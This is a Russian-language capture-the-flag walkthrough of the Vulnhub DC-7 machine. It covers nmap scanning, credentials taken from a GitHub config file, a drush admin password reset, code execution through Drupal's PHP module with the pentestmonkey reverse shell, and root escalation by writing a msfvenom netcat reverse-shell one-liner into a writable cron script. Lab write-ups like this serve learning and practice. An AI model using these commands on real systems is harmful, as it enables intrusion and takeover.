Найти тему

[Хакинг] Прохождение DC:7 - Vulnhub. [Timcore]

Здравствуйте, дорогие друзья.

Сегодня будем проходить машину «DC-7». Это CTF-челлендж на базе Linux, в котором Вы можете использовать свои базовые навыки пентеста, чтобы скомпрометировать эту виртуальную машину и повысить уровень привилегий до root.

Скачать машину можно, перейдя по ссылке: https://www.vulnhub.com/entry/dc-7,356/

Сетевое сканирование

Давайте начнем со сканирования сети, используя агрессивное сканирование Nmap, и на этот раз я также буду использовать тот же подход, для определения открытых поров для запущенных служб.

sudo nmap -A 10.0.2.20

Перечисление/Enumeration

Далее нам нужно начать перечисление с хост-машины, поэтому, не теряя времени, я переходим в веб-браузер для изучения HTTP-сервиса, и в браузере откроется страница приветствия DC:7-, которая дала мне подсказку для поиска «outside the box», и эта подсказка может быть связана с интернетом.

В конце этой веб-страницы я заметил еще одну подсказку «@DC7User», которая может быть любым возможным именем пользователя.

-2

Приняв во внимание указанную выше подсказку, я начинаю отслеживать пользователя @DC7 и нахожу учетную запись пользователя DC7 на GitHub: https://github.com/Dc7User.

-3

Итак, когда я открыл staffdb, здесь config.php выглядит более интересно.

-4

Я нашел учетные данные внутри config.php, как показано ниже:

Username: dc7user Password: MdR3xOgB7

-5

Эксплуатация

С помощью перечисленных выше учетных данных я пытаюсь подключиться к ssh, и после получения tty shell я перехожу к перечислению каталогов и файлов и начинаю исследование каталога.

-6
-7

Внутри backup.sh я замечаю, что он использует drush, а это означает использование оболочки Drupal, и это утилита командной строки, которая используется для связи с drupal CMS.

-8

Итак, я посмотрел команду drush в Google и нашел команду, которая использовалась для изменения пароля учетной записи.

Ссылка: https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell

-9

Поэтому я пытаюсь изменить пароль администратора с помощью следующей команды:

drush user-password admin —password=timcore

-10

Теперь я изменил пароль для учетной записи администратора для входа в Drupal и изучения следующего URL-адреса:
http://10.0.2.20/user/login
После доступа к консоли администратора пришло время использовать веб-приложение, внедряя в него вредоносный контент. Непосредственное написание вредоносных скриптов в качестве веб-контента не даст нам обратную оболочку приложения, но потратив некоторое время, я пришел к выводу, что для этого требуется PHP-модуль.
Поэтому я перешел к установке нового модуля через Manage>Extend>List>Install new module.

-11

Вы можете загрузить пакет PHP для Drupal по указанному ниже URL-адресу и загрузить файл tar для установки нового модуля.
https://www.drupal.org/project/php/releases/8.x-1.0

-12

Итак, когда установка завершена, нам нужно включить добавленный модуль.

-13

Снова перейдите в Manage > Extend >filters и установите флажок для фильтров PHP.

-14

еперь используем PHP-скрипт Pentest monkey, то есть «php-reverse-shell.php», который будет внедрен в качестве базового контента. Не забудьте добавить «прослушиваемый IP-адрес и порт», чтобы получить обратное соединение.

Продолжайте менять «текстовый формат на PHP» и установите флажок публикации. Держите прослушиватель netcat включенным, чтобы получать входящий шелл. Когда все настроено правильно, нажмите кнопку предварительного просмотра, и вы получите обратное соединение через netcat.

-15
-16

Прекрасно! У нас есть сеанс netcat как www-data, и если Вы проверите разрешение на /opt/scripts/backup.sh, Вы заметите, что у www-data есть все права доступа или изменения этого файла. Поэтому мы можем злоупотреблять правами пользовательского файла для повышения привилегий, изменяя содержимое исходного файла.

-17

Повышение привилегий
Как было сказано выше, я попытаюсь злоупотребить назначением разрешений на запись в скрипте. Таким образом, я использую msfvenom для генерации вредоносного кода для получения оболочки bash.


msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.15 lport=8888 R


Теперь скопируем сгенерированный код и запустим еще один прослушиватель netcat на новом терминале.


mkfifo /tmp/trsgux; nc 10.0.2.15 8888 0</tmp/trsgux | /bin/sh >/tmp/trsgux 2>&1; rm /tmp/trsgux

-18
-19

Вставлю код, скопированный выше в предыдущем сеансе netcat, в оболочку www-data, подожду некоторое время и вернусь к другому слушателю netcat.

-20

Через некоторое время у Вас будет доступ к корневой оболочке, теперь Вы получите последний флаг в корневом каталоге, как показано ниже.

-21